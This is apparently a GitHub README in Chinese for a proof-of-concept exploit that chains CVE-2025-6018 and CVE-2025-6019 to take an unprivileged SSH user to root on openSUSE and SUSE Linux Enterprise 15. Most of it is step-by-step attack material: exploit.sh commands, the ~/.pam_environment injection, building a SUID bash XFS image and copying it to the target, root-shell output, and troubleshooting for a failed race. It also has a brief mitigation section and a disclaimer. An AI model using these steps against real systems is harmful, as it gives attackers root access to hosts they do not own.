适用于 CVE-2025-6018 和 CVE-2025-6019 的有效 PoC/漏洞利用 - 在 openSUSE Leap 15.x 和 SUSE Linux Enterprise 15.x 上实现从非特权用户到 root 的权限提升
| CVE ID | 漏洞 | 影响 |
|---|---|---|
| CVE-2025-6018 | PAM 环境变量注入 | 绕过以获取 allow_active polkit 状态 |
| CVE-2025-6019 | udisks2/libblockdev XFS 调整大小竞态条件 | root shell |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ 注意: openSUSE Leap 15.6 将于 2026 年 4 月 30 日 终止支持(End of Life)。此后将不再发布安全补丁。用户应迁移到 Leap 16.0 或具有扩展支持的 SLES。
user_readenv=1allow_active: yes)./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
在攻击者机器上以 root 身份运行:
⚠️ 你必须使用目标主机的
/usr/bin/bash二进制文件,而不是本机的。来自不同发行版(Kali、Arch、Ubuntu 等)的 bash 二进制文件会因 glibc/共享库 ABI 不匹配而在目标上运行失败——即使在相同的 x86_64 架构上也是如此。
该脚本会自动检测你的 xfsprogs 版本并应用正确的标志:
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
XFS 镜像必须使用与目标内核兼容的标志进行格式化。较新版本的 xfsprogs 默认会启用旧版 SUSE 内核无法读取的磁盘特性,导致 udisks2 调整大小挂载时出现 wrong fs type, bad superblock 错误。
| 目标 | 内核 | mkfs.xfs 命令 |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
为什么? exchange 和 parent 是内核 6.10+ 的特性(在 xfsprogs 6.x 中默认启用)。bigtime、inobtcount 和 nrext64 是内核 5.10+ 的特性。SP1-SP4 的“兼容”命令(-m crc=0,reflink=0)会创建禁用所有现代特性的 V4 XFS 格式,适用于所有 SUSE 15 SP。
漏洞原理: PAM 的 pam_env 模块在启用 user_readenv=1(SUSE 的默认配置)时会读取 ~/.pam_environment,从而允许注入环境变量。
利用方法: 设置 XDG_SEAT=seat0 和 XDG_VTNR=1,欺骗 systemd-logind 授予 allow_active polkit 权限。
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
漏洞原理: 通过 udisks2 调整 XFS 文件系统大小时,libblockdev 会临时挂载该文件系统,并且不带 nosuid 标志。
利用方法:
./exploit.sh --check
输出:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
输出:
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
输出:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"
本工具仅用于经授权的安全测试和教育目的。未经授权访问计算机系统属于违法行为。作者不对任何滥用行为负责。
CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ 如果这个仓库对你有帮助,请给它点个星标!⭐
| 问题 | 原因 | 解决方案 |
|---|
allow_active: NO | PAM 绕过未生效 | 运行 --setup,退出 SSH,重新连接,执行 su - $USER |
Image is not XFS | 文件系统格式错误 | 使用 mkfs.xfs,不要用 mkfs.ext4 |
SUID not working | 权限未设置 | 在攻击者机器上确认 -rwsr-xr-x 权限 |
Race condition missed | 时序问题 | 再次运行漏洞利用(通常 1-3 次即可成功) |
SUID 二进制文件段错误或提示 GLIBC_x.xx not found | bash 二进制文件来自错误的发行版(glibc/ABI 不匹配) | 使用通过 scp 获取的目标主机 /usr/bin/bash 二进制文件,而不是本机 bash |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | XFS 镜像是用目标内核无法读取的特性格式化的(xfsprogs 版本不匹配) | 为 SP5/SP6 创建镜像时使用 mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img,为 SP1-SP4 创建镜像时使用 mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
XFSRace ConditionSecurityVulnerabilityPentest